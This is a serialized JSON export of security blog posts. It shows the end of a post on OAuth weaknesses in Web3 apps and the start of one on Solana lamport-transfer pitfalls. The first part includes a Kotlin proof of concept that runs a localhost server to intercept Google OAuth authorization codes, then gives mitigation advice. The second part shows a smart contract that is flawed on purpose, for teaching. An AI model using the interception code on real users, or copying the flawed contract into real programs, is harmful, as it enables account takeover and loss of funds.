",{"type":23,"tag":213,"props":70649,"children":70650},{"style":230},[70651],{"type":28,"value":48463},{"type":23,"tag":213,"props":70653,"children":70654},{"style":220},[70655],{"type":28,"value":70656}," (e: ",{"type":23,"tag":213,"props":70658,"children":70659},{"style":290},[70660],{"type":28,"value":70661},"Exception",{"type":23,"tag":213,"props":70663,"children":70664},{"style":220},[70665],{"type":28,"value":14870},{"type":23,"tag":213,"props":70667,"children":70668},{"class":215,"line":1767},[70669,70673,70677,70681,70685,70689,70694,70698,70703,70707,70711],{"type":23,"tag":213,"props":70670,"children":70671},{"style":220},[70672],{"type":28,"value":70612},{"type":23,"tag":213,"props":70674,"children":70675},{"style":257},[70676],{"type":28,"value":51507},{"type":23,"tag":213,"props":70678,"children":70679},{"style":220},[70680],{"type":28,"value":265},{"type":23,"tag":213,"props":70682,"children":70683},{"style":246},[70684],{"type":28,"value":70626},{"type":23,"tag":213,"props":70686,"children":70687},{"style":220},[70688],{"type":28,"value":424},{"type":23,"tag":213,"props":70690,"children":70691},{"style":246},[70692],{"type":28,"value":70693},"\"Error starting server: ",{"type":23,"tag":213,"props":70695,"children":70696},{"style":230},[70697],{"type":28,"value":34165},{"type":23,"tag":213,"props":70699,"children":70700},{"style":274},[70701],{"type":28,"value":70702},"e.message",{"type":23,"tag":213,"props":70704,"children":70705},{"style":230},[70706],{"type":28,"value":34197},{"type":23,"tag":213,"props":70708,"children":70709},{"style":246},[70710],{"type":28,"value":20114},{"type":23,"tag":213,"props":70712,"children":70713},{"style":220},[70714],{"type":28,"value":70715},", e)\n",{"type":23,"tag":213,"props":70717,"children":70718},{"class":215,"line":1789},[70719],{"type":23,"tag":213,"props":70720,"children":70721},{"style":220},[70722],{"type":28,"value":58938},{"type":23,"tag":213,"props":70724,"children":70725},{"class":215,"line":1812},[70726],{"type":23,"tag":213,"props":70727,"children":70728},{"style":220},[70729],{"type":28,"value":3444},{"type":23,"tag":213,"props":70731,"children":70732},{"class":215,"line":1838},[70733],{"type":23,"tag":213,"props":70734,"children":70735},{"emptyLinePlaceholder":18},[70736],{"type":28,"value":530},{"type":23,"tag":213,"props":70738,"children":70739},{"class":215,"line":1851},[70740],{"type":23,"tag":213,"props":70741,"children":70742},{"style":537},[70743],{"type":28,"value":70744}," // Open the Google OAuth page\n",{"type":23,"tag":213,"props":70746,"children":70747},{"class":215,"line":1864},[70748,70753,70758,70762],{"type":23,"tag":213,"props":70749,"children":70750},{"style":230},[70751],{"type":28,"value":70752}," val",{"type":23,"tag":213,"props":70754,"children":70755},{"style":220},[70756],{"type":28,"value":70757}," googleOAuthUrl ",{"type":23,"tag":213,"props":70759,"children":70760},{"style":274},[70761],{"type":28,"value":3190},{"type":23,"tag":213,"props":70763,"children":70764},{"style":246},[70765],{"type":28,"value":70766}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":213,"props":70768,"children":70769},{"class":215,"line":1890},[70770,70774,70779,70783,70788,70793,70797],{"type":23,"tag":213,"props":70771,"children":70772},{"style":230},[70773],{"type":28,"value":70752},{"type":23,"tag":213,"props":70775,"children":70776},{"style":220},[70777],{"type":28,"value":70778}," browserIntent ",{"type":23,"tag":213,"props":70780,"children":70781},{"style":274},[70782],{"type":28,"value":3190},{"type":23,"tag":213,"props":70784,"children":70785},{"style":257},[70786],{"type":28,"value":70787}," Intent",{"type":23,"tag":213,"props":70789,"children":70790},{"style":220},[70791],{"type":28,"value":70792},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":213,"props":70794,"children":70795},{"style":257},[70796],{"type":28,"value":39269},{"type":23,"tag":213,"props":70798,"children":70799},{"style":220},[70800],{"type":28,"value":70801},"(googleOAuthUrl))\n",{"type":23,"tag":213,"props":70803,"children":70804},{"class":215,"line":1899},[70805,70810],{"type":23,"tag":213,"props":70806,"children":70807},{"style":257},[70808],{"type":28,"value":70809}," startActivity",{"type":23,"tag":213,"props":70811,"children":70812},{"style":220},[70813],{"type":28,"value":70814},"(browserIntent)\n",{"type":23,"tag":213,"props":70816,"children":70817},{"class":215,"line":1912},[70818],{"type":23,"tag":213,"props":70819,"children":70820},{"style":220},[70821],{"type":28,"value":2875},{"type":23,"tag":213,"props":70823,"children":70824},{"class":215,"line":1921},[70825],{"type":23,"tag":213,"props":70826,"children":70827},{"emptyLinePlaceholder":18},[70828],{"type":28,"value":530},{"type":23,"tag":213,"props":70830,"children":70831},{"class":215,"line":3879},[70832,70837,70841,70846],{"type":23,"tag":213,"props":70833,"children":70834},{"style":230},[70835],{"type":28,"value":70836}," private",{"type":23,"tag":213,"props":70838,"children":70839},{"style":230},[70840],{"type":28,"value":6299},{"type":23,"tag":213,"props":70842,"children":70843},{"style":257},[70844],{"type":28,"value":70845}," startWebServer",{"type":23,"tag":213,"props":70847,"children":70848},{"style":220},[70849],{"type":28,"value":15791},{"type":23,"tag":213,"props":70851,"children":70852},{"class":215,"line":3887},[70853,70858,70863,70867,70872],{"type":23,"tag":213,"props":70854,"children":70855},{"style":257},[70856],{"type":28,"value":70857}," embeddedServer",{"type":23,"tag":213,"props":70859,"children":70860},{"style":220},[70861],{"type":28,"value":70862},"(CIO, port ",{"type":23,"tag":213,"props":70864,"children":70865},{"style":274},[70866],{"type":28,"value":3190},{"type":23,"tag":213,"props":70868,"children":70869},{"style":514},[70870],{"type":28,"value":70871}," 3000",{"type":23,"tag":213,"props":70873,"children":70874},{"style":220},[70875],{"type":28,"value":14870},{"type":23,"tag":213,"props":70877,"children":70878},{"class":215,"line":3918},[70879,70884],{"type":23,"tag":213,"props":70880,"children":70881},{"style":257},[70882],{"type":28,"value":70883}," routing",{"type":23,"tag":213,"props":70885,"children":70886},{"style":220},[70887],{"type":28,"value":1375},{"type":23,"tag":213,"props":70889,"children":70890},{"class":215,"line":3926},[70891,70896,70900,70905],{"type":23,"tag":213,"props":70892,"children":70893},{"style":230},[70894],{"type":28,"value":70895}," get",{"type":23,"tag":213,"props":70897,"children":70898},{"style":220},[70899],{"type":28,"value":265},{"type":23,"tag":213,"props":70901,"children":70902},{"style":246},[70903],{"type":28,"value":70904},"\"{...}\"",{"type":23,"tag":213,"props":70906,"children":70907},{"style":220},[70908],{"type":28,"value":14870},{"type":23,"tag":213,"props":70910,"children":70911},{"class":215,"line":3986},[70912,70917,70922],{"type":23,"tag":213,"props":70913,"children":70914},{"style":220},[70915],{"type":28,"value":70916}," call.",{"type":23,"tag":213,"props":70918,"children":70919},{"style":257},[70920],{"type":28,"value":70921},"respondHtml",{"type":23,"tag":213,"props":70923,"children":70924},{"style":220},[70925],{"type":28,"value":1375},{"type":23,"tag":213,"props":70927,"children":70928},{"class":215,"line":9132},[70929,70934],{"type":23,"tag":213,"props":70930,"children":70931},{"style":257},[70932],{"type":28,"value":70933}," head",{"type":23,"tag":213,"props":70935,"children":70936},{"style":220},[70937],{"type":28,"value":1375},{"type":23,"tag":213,"props":70939,"children":70940},{"class":215,"line":9150},[70941,70946,70951,70955,70960],{"type":23,"tag":213,"props":70942,"children":70943},{"style":257},[70944],{"type":28,"value":70945}," meta",{"type":23,"tag":213,"props":70947,"children":70948},{"style":220},[70949],{"type":28,"value":70950},"(charset ",{"type":23,"tag":213,"props":70952,"children":70953},{"style":274},[70954],{"type":28,"value":3190},{"type":23,"tag":213,"props":70956,"children":70957},{"style":246},[70958],{"type":28,"value":70959}," \"UTF-8\"",{"type":23,"tag":213,"props":70961,"children":70962},{"style":220},[70963],{"type":28,"value":2183},{"type":23,"tag":213,"props":70965,"children":70966},{"class":215,"line":9195},[70967,70971,70976,70980,70985,70990,70994,70999],{"type":23,"tag":213,"props":70968,"children":70969},{"style":257},[70970],{"type":28,"value":70945},{"type":23,"tag":213,"props":70972,"children":70973},{"style":220},[70974],{"type":28,"value":70975},"(name ",{"type":23,"tag":213,"props":70977,"children":70978},{"style":274},[70979],{"type":28,"value":3190},{"type":23,"tag":213,"props":70981,"children":70982},{"style":246},[70983],{"type":28,"value":70984}," \"viewport\"",{"type":23,"tag":213,"props":70986,"children":70987},{"style":220},[70988],{"type":28,"value":70989},", content ",{"type":23,"tag":213,"props":70991,"children":70992},{"style":274},[70993],{"type":28,"value":3190},{"type":23,"tag":213,"props":70995,"children":70996},{"style":246},[70997],{"type":28,"value":70998}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":213,"props":71000,"children":71001},{"style":220},[71002],{"type":28,"value":2183},{"type":23,"tag":213,"props":71004,"children":71005},{"class":215,"line":9301},[71006,71011,71015,71020],{"type":23,"tag":213,"props":71007,"children":71008},{"style":257},[71009],{"type":28,"value":71010}," title",{"type":23,"tag":213,"props":71012,"children":71013},{"style":220},[71014],{"type":28,"value":265},{"type":23,"tag":213,"props":71016,"children":71017},{"style":246},[71018],{"type":28,"value":71019},"\"OAuth Redirect\"",{"type":23,"tag":213,"props":71021,"children":71022},{"style":220},[71023],{"type":28,"value":2183},{"type":23,"tag":213,"props":71025,"children":71026},{"class":215,"line":23557},[71027],{"type":23,"tag":213,"props":71028,"children":71029},{"style":220},[71030],{"type":28,"value":71031}," }\n",{"type":23,"tag":213,"props":71033,"children":71034},{"class":215,"line":23592},[71035,71040],{"type":23,"tag":213,"props":71036,"children":71037},{"style":257},[71038],{"type":28,"value":71039}," body",{"type":23,"tag":213,"props":71041,"children":71042},{"style":220},[71043],{"type":28,"value":1375},{"type":23,"tag":213,"props":71045,"children":71046},{"class":215,"line":23600},[71047,71052,71056,71060,71065],{"type":23,"tag":213,"props":71048,"children":71049},{"style":257},[71050],{"type":28,"value":71051}," h1",{"type":23,"tag":213,"props":71053,"children":71054},{"style":220},[71055],{"type":28,"value":2572},{"type":23,"tag":213,"props":71057,"children":71058},{"style":274},[71059],{"type":28,"value":2703},{"type":23,"tag":213,"props":71061,"children":71062},{"style":246},[71063],{"type":28,"value":71064},"\"Google OAuth Redirect\"",{"type":23,"tag":213,"props":71066,"children":71067},{"style":220},[71068],{"type":28,"value":9680},{"type":23,"tag":213,"props":71070,"children":71071},{"class":215,"line":23608},[71072,71077],{"type":23,"tag":213,"props":71073,"children":71074},{"style":257},[71075],{"type":28,"value":71076}," script",{"type":23,"tag":213,"props":71078,"children":71079},{"style":220},[71080],{"type":28,"value":1375},{"type":23,"tag":213,"props":71082,"children":71083},{"class":215,"line":23617},[71084,71089],{"type":23,"tag":213,"props":71085,"children":71086},{"style":274},[71087],{"type":28,"value":71088}," +",{"type":23,"tag":213,"props":71090,"children":71091},{"style":246},[71092],{"type":28,"value":71093},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":213,"props":71095,"children":71096},{"class":215,"line":23659},[71097],{"type":23,"tag":213,"props":71098,"children":71099},{"style":220},[71100],{"type":28,"value":71101}," }\n",{"type":23,"tag":213,"props":71103,"children":71104},{"class":215,"line":23692},[71105],{"type":23,"tag":213,"props":71106,"children":71107},{"style":220},[71108],{"type":28,"value":71031},{"type":23,"tag":213,"props":71110,"children":71111},{"class":215,"line":23700},[71112],{"type":23,"tag":213,"props":71113,"children":71114},{"style":220},[71115],{"type":28,"value":71116}," }\n",{"type":23,"tag":213,"props":71118,"children":71119},{"class":215,"line":23708},[71120],{"type":23,"tag":213,"props":71121,"children":71122},{"style":220},[71123],{"type":28,"value":71124}," }\n",{"type":23,"tag":213,"props":71126,"children":71127},{"class":215,"line":23717},[71128],{"type":23,"tag":213,"props":71129,"children":71130},{"style":220},[71131],{"type":28,"value":58938},{"type":23,"tag":213,"props":71133,"children":71134},{"class":215,"line":23793},[71135,71140,71145,71150,71154,71158],{"type":23,"tag":213,"props":71136,"children":71137},{"style":220},[71138],{"type":28,"value":71139}," }.",{"type":23,"tag":213,"props":71141,"children":71142},{"style":257},[71143],{"type":28,"value":71144},"start",{"type":23,"tag":213,"props":71146,"children":71147},{"style":220},[71148],{"type":28,"value":71149},"(wait ",{"type":23,"tag":213,"props":71151,"children":71152},{"style":274},[71153],{"type":28,"value":3190},{"type":23,"tag":213,"props":71155,"children":71156},{"style":230},[71157],{"type":28,"value":12551},{"type":23,"tag":213,"props":71159,"children":71160},{"style":220},[71161],{"type":28,"value":2183},{"type":23,"tag":213,"props":71163,"children":71164},{"class":215,"line":23826},[71165],{"type":23,"tag":213,"props":71166,"children":71167},{"style":220},[71168],{"type":28,"value":2875},{"type":23,"tag":213,"props":71170,"children":71171},{"class":215,"line":23834},[71172],{"type":23,"tag":213,"props":71173,"children":71174},{"style":220},[71175],{"type":28,"value":1208},{"type":23,"tag":24,"props":71177,"children":71178},{},[71179],{"type":28,"value":71180},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":24,"props":71182,"children":71183},{},[71184],{"type":28,"value":71185},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":9693,"props":71187,"children":71189},{"id":71188},"mitigation-1",[71190],{"type":28,"value":40394},{"type":23,"tag":24,"props":71192,"children":71193},{},[71194,71196,71201],{"type":28,"value":71195},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":209,"props":71197,"children":71199},{"className":71198},[],[71200],{"type":28,"value":69818},{"type":28,"value":71202}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":47,"props":71204,"children":71205},{"id":28989},[71206],{"type":28,"value":19000},{"type":23,"tag":24,"props":71208,"children":71209},{},[71210],{"type":28,"value":71211},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":24,"props":71213,"children":71214},{},[71215],{"type":28,"value":71216},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":2957,"props":71218,"children":71219},{},[71220],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":71222},[71223,71230,71235,71238],{"id":69586,"depth":226,"text":69589,"children":71224},[71225,71226,71227,71228,71229],{"id":69597,"depth":524,"text":69600},{"id":69624,"depth":524,"text":69627},{"id":69685,"depth":524,"text":69688},{"id":69742,"depth":524,"text":69745},{"id":69841,"depth":524,"text":69844},{"id":69887,"depth":226,"text":69890,"children":71231},[71232,71233,71234],{"id":69893,"depth":524,"text":69896},{"id":69920,"depth":524,"text":69923},{"id":40391,"depth":524,"text":40394},{"id":70369,"depth":226,"text":70372,"children":71236},[71237],{"id":71188,"depth":524,"text":40394},{"id":28989,"depth":226,"text":19000},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":71243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71244,"description":71245,"author":40510,"image":71246,"date":71248,"isFeatured":18,"tags":71249,"onBlogPage":18,"body":71250,"_type":2967,"_id":75902,"_source":2969,"_file":75903,"_stem":75904,"_extension":2972},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":71247,"height":13703,"width":13703},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[16],{"type":20,"children":71251,"toc":75891},[71252,71256,71261,71275,71281,71286,71316,71321,71326,72364,72369,72377,72382,72388,72394,72406,72439,72451,72464,72476,72921,72926,72972,72978,72983,73070,73075,73089,73102,73764,73769,73781,73787,73798,73810,73964,73978,73997,74018,74024,74029,74374,74379,74385,74403,74417,75039,75044,75064,75069,75074,75080,75092,75113,75288,75294,75299,75600,75621,75633,75645,75729,75749,75761,75767,75779,75785,75790,75813,75825,75831,75843,75848,75854,75859,75864,75882,75887],{"type":23,"tag":47,"props":71253,"children":71254},{"id":29072},[71255],{"type":28,"value":29075},{"type":23,"tag":24,"props":71257,"children":71258},{},[71259],{"type":28,"value":71260},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":24,"props":71262,"children":71263},{},[71264,71266,71273],{"type":28,"value":71265},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":36,"props":71267,"children":71270},{"href":71268,"rel":71269},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[40],[71271],{"type":28,"value":71272},"King of the Ether",{"type":28,"value":71274},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":47,"props":71276,"children":71278},{"id":71277},"the-game-king-of-the-sol",[71279],{"type":28,"value":71280},"The Game: King of the SOL",{"type":23,"tag":24,"props":71282,"children":71283},{},[71284],{"type":28,"value":71285},"The game works like this:",{"type":23,"tag":168,"props":71287,"children":71288},{},[71289,71301,71306,71311],{"type":23,"tag":135,"props":71290,"children":71291},{},[71292,71294,71299],{"type":28,"value":71293},"Anyone can become the ",{"type":23,"tag":95,"props":71295,"children":71296},{},[71297],{"type":28,"value":71298},"king",{"type":28,"value":71300}," by bidding at least 2× the previous bid.",{"type":23,"tag":135,"props":71302,"children":71303},{},[71304],{"type":28,"value":71305},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":135,"props":71307,"children":71308},{},[71309],{"type":28,"value":71310},"The remaining 5% goes into a prize pot.",{"type":23,"tag":135,"props":71312,"children":71313},{},[71314],{"type":28,"value":71315},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":24,"props":71317,"children":71318},{},[71319],{"type":28,"value":71320},"Simple, right?",{"type":23,"tag":24,"props":71322,"children":71323},{},[71324],{"type":28,"value":71325},"This is the core logic:",{"type":23,"tag":202,"props":71327,"children":71329},{"className":206,"code":71328,"language":205,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[71330],{"type":23,"tag":209,"props":71331,"children":71332},{"__ignoreMap":7},[71333,71348,71376,71391,71432,71439,71447,71498,71529,71536,71544,71559,71591,71598,71613,71644,71651,71658,71666,71683,71757,71765,71826,71838,71866,71906,71918,71934,71941,71949,72023,72035,72074,72102,72114,72129,72136,72144,72214,72258,72332,72339,72350,72357],{"type":23,"tag":213,"props":71334,"children":71335},{"class":215,"line":216},[71336,71340,71344],{"type":23,"tag":213,"props":71337,"children":71338},{"style":220},[71339],{"type":28,"value":22887},{"type":23,"tag":213,"props":71341,"children":71342},{"style":290},[71343],{"type":28,"value":22892},{"type":23,"tag":213,"props":71345,"children":71346},{"style":220},[71347],{"type":28,"value":20313},{"type":23,"tag":213,"props":71349,"children":71350},{"class":215,"line":226},[71351,71355,71359,71364,71368,71372],{"type":23,"tag":213,"props":71352,"children":71353},{"style":230},[71354],{"type":28,"value":233},{"type":23,"tag":213,"props":71356,"children":71357},{"style":230},[71358],{"type":28,"value":887},{"type":23,"tag":213,"props":71360,"children":71361},{"style":290},[71362],{"type":28,"value":71363}," ChangeKing",{"type":23,"tag":213,"props":71365,"children":71366},{"style":220},[71367],{"type":28,"value":358},{"type":23,"tag":213,"props":71369,"children":71370},{"style":290},[71371],{"type":28,"value":22976},{"type":23,"tag":213,"props":71373,"children":71374},{"style":220},[71375],{"type":28,"value":905},{"type":23,"tag":213,"props":71377,"children":71378},{"class":215,"line":524},[71379,71383,71387],{"type":23,"tag":213,"props":71380,"children":71381},{"style":220},[71382],{"type":28,"value":23177},{"type":23,"tag":213,"props":71384,"children":71385},{"style":230},[71386],{"type":28,"value":287},{"type":23,"tag":213,"props":71388,"children":71389},{"style":220},[71390],{"type":28,"value":20313},{"type":23,"tag":213,"props":71392,"children":71393},{"class":215,"line":533},[71394,71398,71403,71407,71411,71415,71419,71423,71428],{"type":23,"tag":213,"props":71395,"children":71396},{"style":230},[71397],{"type":28,"value":913},{"type":23,"tag":213,"props":71399,"children":71400},{"style":268},[71401],{"type":28,"value":71402}," throne",{"type":23,"tag":213,"props":71404,"children":71405},{"style":274},[71406],{"type":28,"value":277},{"type":23,"tag":213,"props":71408,"children":71409},{"style":290},[71410],{"type":28,"value":23142},{"type":23,"tag":213,"props":71412,"children":71413},{"style":220},[71414],{"type":28,"value":358},{"type":23,"tag":213,"props":71416,"children":71417},{"style":290},[71418],{"type":28,"value":22976},{"type":23,"tag":213,"props":71420,"children":71421},{"style":220},[71422],{"type":28,"value":424},{"type":23,"tag":213,"props":71424,"children":71425},{"style":290},[71426],{"type":28,"value":71427},"Throne",{"type":23,"tag":213,"props":71429,"children":71430},{"style":220},[71431],{"type":28,"value":6230},{"type":23,"tag":213,"props":71433,"children":71434},{"class":215,"line":543},[71435],{"type":23,"tag":213,"props":71436,"children":71437},{"emptyLinePlaceholder":18},[71438],{"type":28,"value":530},{"type":23,"tag":213,"props":71440,"children":71441},{"class":215,"line":551},[71442],{"type":23,"tag":213,"props":71443,"children":71444},{"style":537},[71445],{"type":28,"value":71446}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":213,"props":71448,"children":71449},{"class":215,"line":570},[71450,71454,71458,71463,71467,71472,71476,71481,71485,71489,71493],{"type":23,"tag":213,"props":71451,"children":71452},{"style":220},[71453],{"type":28,"value":23177},{"type":23,"tag":213,"props":71455,"children":71456},{"style":230},[71457],{"type":28,"value":287},{"type":23,"tag":213,"props":71459,"children":71460},{"style":220},[71461],{"type":28,"value":71462},", constraint ",{"type":23,"tag":213,"props":71464,"children":71465},{"style":274},[71466],{"type":28,"value":3190},{"type":23,"tag":213,"props":71468,"children":71469},{"style":220},[71470],{"type":28,"value":71471}," old_king",{"type":23,"tag":213,"props":71473,"children":71474},{"style":274},[71475],{"type":28,"value":124},{"type":23,"tag":213,"props":71477,"children":71478},{"style":220},[71479],{"type":28,"value":71480},"key() ",{"type":23,"tag":213,"props":71482,"children":71483},{"style":274},[71484],{"type":28,"value":8660},{"type":23,"tag":213,"props":71486,"children":71487},{"style":220},[71488],{"type":28,"value":71402},{"type":23,"tag":213,"props":71490,"children":71491},{"style":274},[71492],{"type":28,"value":124},{"type":23,"tag":213,"props":71494,"children":71495},{"style":220},[71496],{"type":28,"value":71497},"king)]\n",{"type":23,"tag":213,"props":71499,"children":71500},{"class":215,"line":655},[71501,71505,71509,71513,71517,71521,71525],{"type":23,"tag":213,"props":71502,"children":71503},{"style":230},[71504],{"type":28,"value":913},{"type":23,"tag":213,"props":71506,"children":71507},{"style":268},[71508],{"type":28,"value":71471},{"type":23,"tag":213,"props":71510,"children":71511},{"style":274},[71512],{"type":28,"value":277},{"type":23,"tag":213,"props":71514,"children":71515},{"style":290},[71516],{"type":28,"value":892},{"type":23,"tag":213,"props":71518,"children":71519},{"style":220},[71520],{"type":28,"value":358},{"type":23,"tag":213,"props":71522,"children":71523},{"style":290},[71524],{"type":28,"value":22976},{"type":23,"tag":213,"props":71526,"children":71527},{"style":220},[71528],{"type":28,"value":6230},{"type":23,"tag":213,"props":71530,"children":71531},{"class":215,"line":1176},[71532],{"type":23,"tag":213,"props":71533,"children":71534},{"emptyLinePlaceholder":18},[71535],{"type":28,"value":530},{"type":23,"tag":213,"props":71537,"children":71538},{"class":215,"line":1202},[71539],{"type":23,"tag":213,"props":71540,"children":71541},{"style":537},[71542],{"type":28,"value":71543}," /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":213,"props":71545,"children":71546},{"class":215,"line":1758},[71547,71551,71555],{"type":23,"tag":213,"props":71548,"children":71549},{"style":220},[71550],{"type":28,"value":23177},{"type":23,"tag":213,"props":71552,"children":71553},{"style":230},[71554],{"type":28,"value":287},{"type":23,"tag":213,"props":71556,"children":71557},{"style":220},[71558],{"type":28,"value":20313},{"type":23,"tag":213,"props":71560,"children":71561},{"class":215,"line":1767},[71562,71566,71571,71575,71579,71583,71587],{"type":23,"tag":213,"props":71563,"children":71564},{"style":230},[71565],{"type":28,"value":913},{"type":23,"tag":213,"props":71567,"children":71568},{"style":268},[71569],{"type":28,"value":71570}," new_king",{"type":23,"tag":213,"props":71572,"children":71573},{"style":274},[71574],{"type":28,"value":277},{"type":23,"tag":213,"props":71576,"children":71577},{"style":290},[71578],{"type":28,"value":892},{"type":23,"tag":213,"props":71580,"children":71581},{"style":220},[71582],{"type":28,"value":358},{"type":23,"tag":213,"props":71584,"children":71585},{"style":290},[71586],{"type":28,"value":22976},{"type":23,"tag":213,"props":71588,"children":71589},{"style":220},[71590],{"type":28,"value":6230},{"type":23,"tag":213,"props":71592,"children":71593},{"class":215,"line":1789},[71594],{"type":23,"tag":213,"props":71595,"children":71596},{"emptyLinePlaceholder":18},[71597],{"type":28,"value":530},{"type":23,"tag":213,"props":71599,"children":71600},{"class":215,"line":1812},[71601,71605,71609],{"type":23,"tag":213,"props":71602,"children":71603},{"style":220},[71604],{"type":28,"value":23177},{"type":23,"tag":213,"props":71606,"children":71607},{"style":230},[71608],{"type":28,"value":287},{"type":23,"tag":213,"props":71610,"children":71611},{"style":220},[71612],{"type":28,"value":20313},{"type":23,"tag":213,"props":71614,"children":71615},{"class":215,"line":1838},[71616,71620,71624,71628,71632,71636,71640],{"type":23,"tag":213,"props":71617,"children":71618},{"style":230},[71619],{"type":28,"value":913},{"type":23,"tag":213,"props":71621,"children":71622},{"style":268},[71623],{"type":28,"value":42297},{"type":23,"tag":213,"props":71625,"children":71626},{"style":274},[71627],{"type":28,"value":277},{"type":23,"tag":213,"props":71629,"children":71630},{"style":290},[71631],{"type":28,"value":23206},{"type":23,"tag":213,"props":71633,"children":71634},{"style":220},[71635],{"type":28,"value":358},{"type":23,"tag":213,"props":71637,"children":71638},{"style":290},[71639],{"type":28,"value":22976},{"type":23,"tag":213,"props":71641,"children":71642},{"style":220},[71643],{"type":28,"value":6230},{"type":23,"tag":213,"props":71645,"children":71646},{"class":215,"line":1851},[71647],{"type":23,"tag":213,"props":71648,"children":71649},{"style":220},[71650],{"type":28,"value":1208},{"type":23,"tag":213,"props":71652,"children":71653},{"class":215,"line":1864},[71654],{"type":23,"tag":213,"props":71655,"children":71656},{"emptyLinePlaceholder":18},[71657],{"type":28,"value":530},{"type":23,"tag":213,"props":71659,"children":71660},{"class":215,"line":1890},[71661],{"type":23,"tag":213,"props":71662,"children":71663},{"style":220},[71664],{"type":28,"value":71665},"#[program]\n",{"type":23,"tag":213,"props":71667,"children":71668},{"class":215,"line":1899},[71669,71673,71678],{"type":23,"tag":213,"props":71670,"children":71671},{"style":230},[71672],{"type":28,"value":233},{"type":23,"tag":213,"props":71674,"children":71675},{"style":230},[71676],{"type":28,"value":71677}," mod",{"type":23,"tag":213,"props":71679,"children":71680},{"style":220},[71681],{"type":28,"value":71682}," king_of_the_sol {\n",{"type":23,"tag":213,"props":71684,"children":71685},{"class":215,"line":1912},[71686,71690,71694,71699,71703,71707,71711,71715,71719,71724,71728,71733,71737,71741,71745,71749,71753],{"type":23,"tag":213,"props":71687,"children":71688},{"style":230},[71689],{"type":28,"value":913},{"type":23,"tag":213,"props":71691,"children":71692},{"style":230},[71693],{"type":28,"value":254},{"type":23,"tag":213,"props":71695,"children":71696},{"style":257},[71697],{"type":28,"value":71698}," 